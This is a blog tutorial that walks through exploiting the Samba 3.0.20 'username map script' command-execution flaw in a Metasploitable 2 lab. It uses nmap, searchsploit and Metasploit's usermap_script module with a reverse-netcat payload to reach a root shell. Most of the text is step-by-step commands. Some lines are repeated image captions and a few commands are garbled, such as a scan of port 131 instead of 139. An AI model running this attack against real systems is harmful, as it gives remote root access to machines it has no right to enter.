How To Attack Linux Samba Port 139 The Easy Way!

Attack Samba Server

Attack Linux Samba – Metasploit Series

Attack Samba Server – This module exploits a command execution vulnerability in Samba versions 3.0.20 through 3.0.25rc3 when using the non-default “username map script” configuration option. By specifying a username containing shell meta characters, attackers can execute arbitrary commands.

Rapid 7

Samba Service Version 3.0.20

This test will performed in my Lab using Kali Linux and Metasploitable 2 No authentication is needed to exploit this vulnerability since this option is used to map usernames prior to authentication!

Identify Vulnerable Host

First let’s scan the network to find our vulnerable host and identify the Samba version

nmap -p 131 -Pn
attack linux samba 3.0.20
attack linux samba 3.0.20

After find the samba vulnerable host ans its version lets open metasploit and search for a samba exploit.

To search for the samba exploit we have two options, one from a script called searchsploit and the other is inside Metasploit using its own internal search engine.

searchsploit samba
Attack Linux Samba
Attack Linux Samba

Open Metasploit on a new terminal:

root:#/ metasploit


Inside the Metasploit terminal execute:

search usermap_script
search usermap_script
search usermap_script

Select Exploit – usermap_script

Use usermap_script

msf5 > use multi/samba/usermap_script
use multi/samba/usermap_script
use multi/samba/usermap_script

Define Payload Reverse Netcat

in order to use this exploit is recommended the payload reverse netcat

msf5 exploit(multi/samba/usermap_script) > set payload cmd/unix/reverse_netcat
Payload Reverse Netcat
Payload Reverse Netcat

With our payload defined is necessary to verify what options must be configured in order to use the exploit and the payload together, for that execute the command options inside he Metasploit.

Configure Exploit options

exploit options
exploit options

This exploit is easy to configure only has a few options.

Define Payload RHOSTS

As we can see to use this exploit we only need to configure the RHOSTS option, do it we the following command:

msf5 exploit(multi/samba/usermap_script) > set RHOSTS
set exploit rhosts
set exploit rhosts

Now we have our samba exploit configured with our basic sockets information the payload can be send to the target.

Attack Linux Samba

Samba exploit with Metasploit can be easy if you know the right vulnerability. At this point we just need to execute the command exploit and the host is exploited remotely.

msf5 exploit(multi/samba/usermap_script) > exploit
samba exploit metasploit
samba exploit metasploit

And we are In!

As we can see session 1 inside metasploit was opened, at this moment we already can execute commands on remote machine.

Gaining Access to Linux Attacking SAMBA Service

Now we need to verify our level of access and for that we can use the command whoami.

whoami root
whoami root

And we are root, but our terminal don’t have a shell interpreter and for that we can use the shell command to invoke a shell interpreter on the remote machine.

samba exploit metasploit invoke a remote shell

Now let’s verify our kernel version with the command:

[email protected]:/# uname -a
uname -a

Here we prove why we need to update our systems frequently many vulnerabilities like this exists on many systems.

1 thought on “How To Attack Linux Samba Port 139 The Easy Way!”

  1. Pingback: Ultimate Guide to Attack Linux DistCC Daemon Port 3632

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